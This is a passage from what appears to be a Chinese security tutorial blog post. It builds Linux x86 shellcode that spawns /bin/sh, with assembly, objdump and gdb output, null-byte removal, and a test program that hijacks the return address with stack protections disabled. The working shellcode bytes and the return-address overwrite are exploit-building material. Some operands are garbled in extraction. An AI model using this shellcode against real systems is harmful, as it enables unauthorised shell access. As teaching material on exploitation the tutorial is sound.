  52.  80483c3:    e8 d1 ff ff ff           call   8048399   
  53.  80483c8:    2f                         das      
  54.  80483c9:    62 69 6e                 bound  %ebp,0x6e(%ecx)  
  55.  80483cc:    2f                         das      
  56.  80483cd:    73 68                jae    8048437 <__libc_csu_init+0x57>  
  57.  80483cf:    00 b8 00 00 00 00        add    %bh,0x0(%eax)  
  58.  80483d5:   5d                         pop    %ebp  
  59.  80483d6:    c3                       ret      
  60.  80483d7:    90                       nop  
  61.  80483d8:    90                       nop  
  62.  80483d9:    90                       nop  
  63.  80483da:    90                       nop  
  64.  80483db:    90                       nop  
  65.  80483dc:    90                       nop  
  66.  80483dd:    90                       nop  
  67.  80483de:    90                       nop  
  68.  80483df:    90                       nop  
  69.   


 

替换掉shellcode中含有的Null字节的指令:

含有Null字节的指令

替代指令

movl $0x0,0xc(%esi)

movb $0x0,0x7(%esi)

xorl %eax,%eax

movl %eax,0xc(%esi)

movb %al,0x7(%esi)

movl $0xb,%eax

xorl %eax,%eax

movb $0xb,%al

movl $0x1,%eax

movl $0x0,%ebx

xorl %ebx,%ebx

iovl %ebx,%eax

inc %eax

修改后的代码和反汇编结果如下:

[cpp]  view plain copy
  1. "font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c  
  2. #include   
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     __asm__  
  7.     ("                \  
  8.          jmp subroutine_call;    \  
  9.     subroutine:            \  
  10.         popl %esi;        \  
  11.         movl %esi,0x8(%esi);    \  
  12.         xorl %eax,%eax;        \  
  13.         movl %eax,0xc(%esi);    \  
  14.         movb %al,0x7(%esi);    \  
  15.        movb {1}xb,%al;        \  
  16.         movl %esi,%ebx;        \  
  17.         leal 0x8(%esi),%ecx;    \  
  18.         leal 0xc(%esi),%edx;    \  
  19.         int {1}x80;        \  
  20.         xorl %ebx,%ebx;        \  
  21.         movl %ebx,%eax;        \  
  22.         inc %eax;        \  
  23.         int {1}x80;        \  
  24.     subroutine_call:        \  
  25.         call subroutine;   \  
  26.         .string \"/bin/sh\";    \  
  27.      ");  
  28.   
  29.     return 0;  
  30. }  
  31. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  32. root@linux:~/pentest# objdump -d shellcode_asm  
  33. 08048394 
    :  
  34.  8048394:    55                       push   %ebp  
  35.  8048395:    89 e5                    mov    %esp,%ebp  
  36.  8048397:    eb 1f                    jmp    80483b8   
  37.   
  38. 08048399 :  
  39.  8048399:    5e                       pop    %esi  
  40.  804839a:    89 76 08                 mov    %esi,0x8(%esi)  
  41.  804839d:    31 c0                    xor    %eax,%eax  
  42.  804839f:    89 46 0c                 mov    %eax,0xc(%esi)  
  43.  80483a2:    88 46 07                 mov    %al,0x7(%esi)  
  44.  80483a5:    b0 0b                    mov    {1}xb,%al  
  45.  80483a7:    89 f3                   mov    %esi,%ebx  
  46.  80483a9:    8d 4e 08                 lea    0x8(%esi),%ecx  
  47.  80483ac:    8d 56 0c                 lea    0xc(%esi),%edx  
  48.  80483af:    cd 80                    int    {1}x80  
  49.  80483b1:    31 db                    xor    %ebx,%ebx  
  50.  80483b3:    89 d8                    mov   %ebx,%eax  
  51.  80483b5:    40                       inc    %eax  
  52.  80483b6:    cd 80                    int    {1}x80  
  53.   
  54. 080483b8 :  
  55.  80483b8:    e8 dc ff ff ff           call   8048399   
  56.  80483bd:    2f                       das      
  57.  80483be:    62 69 6e                 bound  %ebp,0x6e(%ecx)  
  58.  80483c1:   2f                       das      
  59.  80483c2:    73 68                    jae    804842c <__libc_csu_init+0x5c>  
  60.  80483c4:    00 b8 00 00 00 00        add    %bh,0x0(%eax)  
  61.  80483ca:    5d                       pop    %ebp  
  62.  80483cb:    c3                       ret      
  63.  80483cc:   90                       nop  
  64.  80483cd:    90                       nop  
  65.  80483ce:    90                       nop  
  66.  80483cf:    90                       nop  
  67. root@linux:~/pentest# gdb shellcode_asm  
  68. (gdb) b main  
  69. Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.  
  70. (gdb) r  
  71. Starting program: /root/pentest/shellcode_asm   
  72.   
  73. Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5  
  74. 5       __asm__  
  75. (gdb) disass main  
  76. Dump of assembler code for function main:  
  77.    0x08048394 <+0>:    push   %ebp  
  78.    0x08048395 <+1>:    mov    %esp,%ebp  
  79. => 0x08048397 <+3>:    jmp    0x80483b8   
  80.    0x08048399 <+5>:    pop    %esi  
  81.    0x0804839a <+6>:    mov    %esi,0x8(%esi)  
  82.    0x0804839d <+9>:    xor    %eax,%eax  
  83.    0x0804839f <+11>:    mov    %eax,0xc(%esi)  
  84.    0x080483a2 <+14>:    mov    %al,0x7(%esi)  
  85.    0x080483a5 <+17>:    mov    {1}xb,%al  
  86.    0x080483a7 <+19>:   mov    %esi,%ebx  
  87.    0x080483a9 <+21>:    lea    0x8(%esi),%ecx  
  88.    0x080483ac <+24>:    lea    0xc(%esi),%edx  
  89.    0x080483af <+27>:    int    {1}x80  
  90.    0x080483b1 <+29>:    xor    %ebx,%ebx  
  91.    0x080483b3 <+31>:    mov    %ebx,%eax  
  92.    0x080483b5 <+33>:    inc    %eax  
  93.    0x080483b6 <+34>:    int    {1}x80  
  94.    0x080483b8 <+0>:    call   0x8048399   
  95.    0x080483bd <+5>:    das      
  96.    0x080483be <+6>:    bound  %ebp,0x6e(%ecx)  
  97.    0x080483c1 <+9>:    das      
  98.    0x080483c2 <+10>:    jae    0x804842c  
  99.    0x080483c4 <+12>:    add    %bh,0x0(%eax)  
  100.    0x080483ca <+18>:    pop    %ebp  
  101.    0x080483cb <+19>:    ret      
  102. End of assembler dump.  
  103. (gdb) x/s 0x080483bd  
  104. 0x80483bd :     "/bin/sh"  
  105.   


 

分析可知,0x8048397到0x80483b8之间的部分,使我们嵌入汇编部分代码。而0x80483bd开始处存放着我们的字符串变量“/bin/sh”。

[cpp]  view plain copy
  1. "font-size:18px;">root@linux:~/pentest# ./shellcode_asm  
  2. Segmentation fault  
  3. root@linux:~/pentest#  
  4.   


 

为什么会出现段错误呢?原因是我们嵌入的汇编代码要修改自身所在的内存区域,然而由于main()函数所在的段属于代码段,具有只读属性,因此,要对只读的代码段执行写操作必然导致段错误。这里我们采用一个小技巧来绕过这个限制,我们将shellcode放在数据段,用一个全局变量数组来存储shellcode。

[cpp]  view plain copy
  1. "font-size:18px;">root@linux:~/pentest# cat test.c  
  2. #include   
  3.   
  4.     char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46"  
  5.     "\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"  
  6.     "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";  
  7.     int main(void) {  
  8.         int ret;  
  9.         *(&ret + 2) = (int)shellcode;  
  10.         return 0;  
  11.     }  
  12. root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o test test.c  
  13. root@linux:~/pentest# ./test  
  14. # exit  
  15. root@linux:~/pentest#  
  16.   


 

可以看到,我们的shellcode成功的执行,并且得到命令行。

你可能感兴趣的:(安全)